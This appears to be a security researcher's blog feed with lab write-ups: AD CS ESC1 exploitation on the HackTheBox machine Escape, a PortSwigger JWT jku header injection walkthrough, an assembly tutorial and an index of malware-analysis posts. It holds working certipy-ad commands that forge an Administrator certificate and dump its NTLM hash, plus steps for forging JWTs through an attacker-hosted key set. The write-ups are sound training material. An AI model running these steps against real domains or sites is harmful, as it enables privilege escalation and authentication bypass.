If you want to delete your ingested bloodhound data once you are done with your work so that it does not conflict with other data that you add into bloodhound in future, access Administration from the side menu and then select Database Management, here select all the checkboxes and click delete, it will prompt you to input a keyword, after inputting that keyword select delete and wait for a while, the ingested data will be deleted from bloodhound database.

Conclusion

In this blog, we discussed the introduction to bloodhound, data collectors or ingestors, installing bloodhound on kali linux, installing ingestors, collecting data using various ingestors like sharphound, bloodhound-python and netexec. We also learned about common nodes and edges in bloodhound. Then we looked at a little example on how to use bloodhound and all the main components of bloodhound like the search functionality, pathfinding and cypher. And we looked at what to look out for when going through data in bloodhound i.e. Outbound Object Control. Deleting data from bloodhound once we are done with our work.

Abusing Active Directory Certificate Services

Sat, 21 Jun 2025 00:00:00 GMT

What is Active Directory Certificate Services (ADCS) ?

Active Directory Certificate Services (AD CS) is a Windows Server role responsible for issuing, managing and validating digital certificates within a public key infrastructure (PKI). Active Directory Certificate Services provides a secure and scalable platform for managing digital identities, ensuring the confidentiality, integrity and availability of information within an organization. Active Directory Certificate Services is currently supported in all major versions of windows server: Windows Server 2025, 2022, 2019, 2016, and 2012 R2.

Main components of Active Directory Certificate Services:

Certificate Authority (CA): Issues and manages digital certificates.
Certificate Templates: Define the properties and usage of certificates.
Certificate Authority Web Enrollment: Allows users and computers to request certificates through a web-based interface.
Public Key Infrastructure: PKI manages certificates and public key encryption.
Certificate Signing Request: CSR is a message send to CA to request a signed certificate
Extended Key Usage: Extended Key Usage are object indentifiers that define how a generated certificate may be used.

Certificate Templates

Since Active Directory Certificate Services is such a critical service, it usually runs on only a few selected domain controllers, normal users can't interact with the AD CS directly. Some organizations that are too large have administrator's that create and distribute each certificate manually, distributing certificates manually to each user is not feasible in larger organizations. This is where certificate templates come into action, AD CS administrators can create several templates that can allow users with the relevant permission to request a certificate themselves. These certificate templates have specific parameters that define which user can request the certificate and what permissions are required.

Credit: SpecterOps

What vulnerabilities can arise with Certificate Templates ?

This vulnerability was researched and discovered by SpecterOps and later disclosed in their whitepaper in 2021. This whitepaper highlights how specific combination of parameters in certificate templates can be abused and lead to privilege escalation to domain administrator and persistent access for years.

Format of a Certificate Template

A certificate template consists of various parameters, a misconfigured combination of these parameters leads to vulnerabilities in certificate templates. Some of the well known vulnerabilities in certificate templates are: ESC1, ESC4, ESC7, ESC9, ESC15 and so on.

Here is what a certificate vulnerable to ESC1 looks like:

The template is vulnerable to ESC1 because it has: Enrollee supplies subject and template allows client authentication parameters enabled. Other ESC(2-16) vulnerabilities have different combination of parameters in templates that make them vulnerable.

Exploiting AD CS Templates

For this blog, i will be using a retired machine from HackTheBox: Escape

The first step to determining vulnerable templates, is using our credentials to collect data for bloodhound and figuring out whether our compromised user account has access to the ADCS or not.

Here in bloodhound we can see that our compromised user Ryan Cooper is part of the CERTIFICATE SERVICE DCOM ACCESS group. Which seems to be the ADCS group.

This can also be identified in powershell by running:

whoami /all

Now that we know that our user is potentially part of the ADCS group, we can use certipy-ad - a very powerful tool for attacking and enumerating AD CS. It supports identification and exploitation of ESC1-ESC16 vulnerabilities.

Certipy-ad can be installed on kali linux using apt: sudo apt-get install certipy-ad

Note: certipy-ad often goes through various updates, so the commands and switches/flags I am using in this blog works as of 21-06-2025, it may or may not work in future. So please reference the official documentation for certipy-ad on their github repository.

Identifying vulnerable templates:

We can use certipy-ad to identify vulnerable templates using the credential for the user we have access to, certipy-ad accepts both password and ntlm hash for authentication.

certipy-ad find -u "ryan.cooper@sequel.htb" -p "NuclearMosquito3" -dc-ip 10.10.11.202 -vulnerable -enabled -stdout

Flags:

find: certipy-ad option for enabling certificate enumeration
-u: username
-p: password
-dc-ip: domain controller ip
-vulnerable: find vulnerable templates on the dc
-enabled: search for enabled/working templates only
-stdout: standard output, output the result of terminal instead of writing them to files which certipy-ad does by default (it creates a mess).

We get the result and one of the templates is vulnerable to ESC1 because it has 2 particular parameters: Enrollee supplies subject and template allows client authentication

Requesting Administrator's certificate:

Now that we know the target template and its details, we can abuse it to issue administrator user's certificate and get access to target system as admin. This is also done using certipy-ad

certipy-ad req -u 'ryan.cooper@sequel.htb' \
-p 'NuclearMosquito3' \
-dc-ip 10.10.11.202 \
-target 'sequel.htb' \
-ca 'sequel-DC-CA' -template 'UserAuthentication' \
-upn 'Administrator@sequel.htb'

Flag: Other than the flags i discussed above here is what the other flags are for,

req: certipy-ad option requesting certificate
-target: specify target domain
-ca: Name of the certificate authority, can be found on the result of vulnerable template enumeration we did previously
-upn: User Principal Name of target user, i.e. Administrator

This will request a certificate for administrator user from the AD CS and save it as a .pfx (personal information exchange file) file on our system.

Dumping Administrator's NTLM hash using the PFX file:

Now we can use certipy-ad to use the administrator.pfx file and dump the ntlm hash for administrator user:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.202

Flags:

auth: certipy-ad option for authentication
-pfx: specifying the pfx file to use

And we get the administrator ntlm hash that we can use with psexec, evil-winrm, etc to authenticate and access the target system as administrator.

Conclusion

In this blog we discussed about Active Directory Certificate Services, its components, working of certificate templates SpecterOps discovery and research of certificate template abuse. Then we discussed template vulnerabilities (ESC), how we identify esc1 vulnerability using certipy-ad, how to request administrator's certificate using certipy-ad and then dumping the NTLM hash of the administrator, which can then be used for authentication via various protocols like winrm, smb, etc.

Bypassing JWT authentication through jku header injection

Sun, 26 May 2024 00:00:00 GMT

JSON Web Tokens (JWTs) represent a standardized framework for the secure transmission of cryptographically signed JSON data between systems. While JWTs have the capacity to encapsulate diverse types of data, their predominant application lies in conveying user-related information, or "claims," which facilitate authentication, session management, and access control mechanisms.

In contrast to traditional session tokens, JWTs encapsulate all requisite data on the client side within the token itself. This architectural advantage renders JWTs especially advantageous for highly distributed web platforms, enabling seamless user interactions across multiple back-end servers.

A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot.

xxxxx.yyyyy.zzzzz

Header

The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.

For example:

{
  "alg": "HS256",
  "typ": "JWT"
}

Then, this JSON is Base64Url encoded to form the first part of the JWT.

Payload

The second part of the token is the payload, which contains the claims. Claims are statements about an entity (typically, the user) and additional data. There are three types of claims: registered, public, and private claims.

An example payload could be:

{
  "sub": "8261290123",
  "name": "Kiko",
  "admin": true
}

The payload is then Base64Url encoded to form the second part of the JSON Web Token.

Signature

To create the signature part you have to take the encoded header, the encoded payload, a secret, the algorithm specified in the header, and sign that.

For example if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

The signature is used to verify the message wasn't changed along the way, and, in the case of tokens signed with a private key, it can also verify that the sender of the JWT is who it says it is.

Public and Private keys

Public and Private keys play a crucial role in ensuring the security and integrity of the data transmitted between systems. This mechanism typically involves asymmetric cryptography, where a pair of keys—one public and one private—are used.

The private key is used to sign the JWT, creating a unique signature that verifies the authenticity of the token and ensures that the data has not been tampered with. This private key is kept secret and is only known to the issuer of the token.

The corresponding public key is then distributed to any systems or services that need to verify the JWT. When a JWT is received, the recipient uses the public key to validate the signature. If the signature is valid, it confirms that the token was indeed signed by the holder of the private key and that its contents are trustworthy.

JWT header parameter injections

According to the JWS specification, only the alg header parameter is mandatory. However, in practical applications, JWT headers (also known as JOSE headers) typically include several additional parameters. The following parameters are particularly noteworthy for attackers:

jwk (JSON Web Key) - Contains an embedded JSON object that represents the key.
jku (JSON Web Key Set URL) - Specifies a URL from which servers can retrieve a set of keys, including the correct key.
kid (Key ID) - Provides an identifier that servers use to select the appropriate key when multiple keys are available. This identifier may correspond to a matching kid parameter in the key.

Injecting self-signed JWTs via the jku parameter

Instead of directly embedding public keys using the jwk header parameter, some servers utilize the jku (JWK Set URL) header parameter to reference a JWK Set that encompasses the key. During the signature verification process, the server dynamically fetches the pertinent key from the provided URL, enhancing flexibility and scalability in key management.

JWK Sets are often made publicly accessible through standardized endpoints, such as /.well-known/jwks.json.

Exploitation

Install the jwt editor plugin in burpsuite from the bapp store. This will help us modify the jwt smoothly. For this example we are using the JWT authentication bypass via jku header injection lab from portswigger.

Make sure burp is running, then login into your account with the provided credentials wiener:peter

Go to burp > Proxy > HTTP History and send the GET /my-account request to burp repeater and switch to the JSON Web Token tab.

If you try to change the path from /my-account to /admin and then send the request, the application with respond with 401 Unauthorized.

Now head over to the JWT Editor tab on the main menu bar and click on New RSA Key and click on generate, then click on OK. This will generate a pair of RSA Keys that we will use to bypass the authentication.

Now right click on the generated RSA Key in the JWT Editor tab and click on Copy Public Key as JWK. Now head over to the application in the browser and open the exploit server. In the body section, create an empty jwk set like this:

{
    "keys": [

    ]
}

Now paste the keys you copied from the jwt editor in between the empty jwk set, it should look something like this:

{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "807dbd28-3e50-4058-a54f-7ff8792712cc",
            "n": "s8ciu2j6jc7tM1zIkA5IJt_LK0xRnFfcAfKqtGH6Uoh0I3CWOHsjvZVgZn0LNrFq78h6v4XhnIQB_zc7QdUGFchOppUQNYScVYxkjIOJpbXmI4Tm5-7SI_GNQqJ9MlzZTA6m243QGJyP-01VOOyA6Cy6Dq-fvgetbmizcpzbO0Qtycg7e89FBWkD7RS_-73SCQ11O83EJAXP19fmIUFskyL5nx_cSkMiA4Lo0dya23rCSBWMwSzuMT9ekVWK-kUss-JKypwKE5-DKrqogrsAjAg_VOIs_jRiRNUVRuS3qSk41lii_-ZJVLw0CWVue-eECwsp55XZSWNzdGHXAQtyKw"
        }
    ]
}

Click on store to save the keys.

Note: Here the exploit server is acting as a file hosting service, where we are hosting our public keys, in a real life scenario you will need to use a service to host the file to make it accessible over the internet, such as ngrok.

Now back to burp, switch to the repeater tab and then to the JSON Web Token tab. Here we will have to modify a few headers:

change the value of the kid header to the value of the kid header we put in the exploit server.
add jku header and set its value to the url of the exploit server (it can be found on the top of the exploit server page in the application)
change the value of sub parameter in the payload section from wiener to administrator

Now we will sign the jwt with the RSA key we generated at the bottom click sign button. A popup will appear, select your RSA key and make sure the Don't modify header option is checked and click on OK.

Now we are all set, make sure to check the path is set to /admin and click on Send to send the request.

And we have successfully bypassed the jwt authentication.

Note: Many secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL parsing discrepancies to bypass this kind of filtering. Example: https://allowed-host@attacker-host

Writing your first assembly program

Mon, 03 Jan 2022 00:00:00 GMT

Assembly is a low level programming language and is used to communicate directly with a computer hardware. Unlike machine language which consists of binary and hex characters, assembly language is readable by humans.

Every computer has a microprocessor (like intel and amd) that manages all the arithemtical, logical and control activities. Each family of processor has its own set of instructions for managing different operations. These set of instructions are called 'machine language instructions'.

A processor understands only machine language instructions, which are strings of 1's and 0's. However, machine language is too complex for general development and other programming tasks. So, assembly language is designed for a specific family of processors that represents various instructions in symbolic code and a more understandable form.

In this blog we will talk about assembly language from a security researcher's perspective.

WHY LEARN ASSEMBLY ?

Unlike some skills in cybersecurity like network-security and web-app pentesting, assembly language knowledge is relatively rare. And hence if a company needs someone with knowledge of assembly the value will automatically get high (rarity = valuable).
Essential for learning reverse engineering
Essential for writing memory corruption and other low level exploits.
Knowledge of assembly language is required for understanding the concept of computer architecture in detail.
To become a good hacker you should know how systems work in detail and assembly language is essential for that.

There are various syntax assembly is written in which the instructions are same, the way the instructions are represented differ. For this blog we will be writing our program in intel x86 syntax.

REGISTERS

Registers are the small storage areas in the processor. They are used to store memory address, values or anything that can be represented with 4 bytes (4 Bytes = 32 Bits. A byte is 8 bits. It can store up to 28 (256) different values, or one character of ASCII text. A bit is the basic unit of information.) or less.

In x86 Architecture there are 6 general purpose registers.

These registers are generally use as they are needed. There are 3 purpose that are reserved for specific purposes

STACK

The stack is a data structure comprised of elements that are added or removed with operations- push or pop and ret .

push adds an element to the top of the stack & pop removes an element from the top of the stack. The ret instruction transfers control to the return address located on the stack

Each element on a stack is assigned a stack address. Elements that are higher on the stack have lower address than those on the bottom of the stack. In other words stack grows towards lower memory address.

Whenever a function is called its setup with what we call a stack frame. All of the local variables of the function will be stored in that stack frame (which means each function has its own stack).

Lets talk about the two special purpose registers we mentioned earlier (esp, ebp).

ebp (base pointer) → contains the address of the base of current stack frame.

esp (stack pointer) → contains the address of the top of current stack frame.

All the addresses outside of the current stack frame are called JUNK by the compiler.

The return address is outside of the stack frame. All th space b/w esp & ebp is considered the stack frame.

HELLO WORLD IN ASSEMBLY

Although its not really necessary to learn how to write in assembly just understanding how to read it will be enough. But hey it won't hurt to do a little hello world program will it ?

BITS 32

extern printf

section .rodata
    hello_world: db "hello, world!", 10, 0

section .text
    global main

    main:
        push ebp
        mov ebp, esp

        push hello_world
        call printf
        add esp, 4

        mov eax, 0
        mov esp, ebp
        pop ebp
        ret

save this file as whatever file name you want but add .asm in last. Now we will compile this file and run it. Before compiling there are some packages you need to install (i am using ubuntu, if you are using other operating system then you might have to look up these packages for your os.)

nasm
gcc
gcc-multilib

sudo apt-get install nasm gcc gcc-multilib

Once the packages are installed, let's compile our program and run it.

nasm -f elf hello.asm

This will create an object file named hello.o. Now we will use gcc to create a .out file which is our final file that we will run.

gcc -m32 hello.o -o hello.out

Now execute the file and you'll get the output "hello, world!".

./hello.out
hello, world!

EOF

0xSN1PE

React2Shell - CVE-2025-55182

Introduction

Overview

React Basics

React Server Components and Flight Protocol

React Server Component (RSC)

Flight Protocol

Deserialization Vulnerability

Deserialization to Remote Code Execution

Taking a look at the POC

Exploit Mechanism: The "Thenable" Injection

Payload Structure

Execution Flow

Impact and Exposure

Affected Versions

Running the Exploit

Final Words

Dissecting the Gremlin Infostealer

Introduction

Metadata

Overview

Analysis

Determining the file type

Analysis using PE Studio

Analysis using dnSpy

Analyzing the core functions

Crypto Wallets

VPN Services

Browsers

Steam, Discord & Telegram

Clipboard Data

System Information

FTP Credentials

Credit Card Information

Data Exfiltration

Final Words

Taking a look at the Leprechaun Loader

Introduction

What is a Loader ?

Difference between a loader and a dropper

Metadata

Overview

Static Analysis

Inspecting in PE Studio

Analyzing using IDA

Function 1 - sub_4012A0

Function 2 - sub_4011F0

Dynamic Analysis

Checking the HTTP traffic using Wireshark

Checking the registry records

Final Words

Attack Mapping with Bloodhound

What is Bloodhound ?

What are Ingestors ?

Installing Bloodhound

Installing the Ingestors

Setting up bash alias for easy access

Collecting data using Ingestors

Using Sharphound

Using bloodhound-python

Extra: Using Netexec

Common Nodes and Edges Explained

Common Nodes

Common Edges

Mapping Attack Paths with Bloodhound

Collecting Data and Uploading it to Bloodhound

The Bloodhound Explorer

Outbound Object Control

Pathfinding

Relationship Information and Inbuilt Abuse Suggester

Bloodhound Cypher

Deleting Data from Bloodhound

Conclusion

Abusing Active Directory Certificate Services

What is Active Directory Certificate Services (ADCS) ?

Main components of Active Directory Certificate Services:

Certificate Templates

What vulnerabilities can arise with Certificate Templates ?

Format of a Certificate Template

Function 1 - `sub_4012A0`

Function 2 - `sub_4011F0`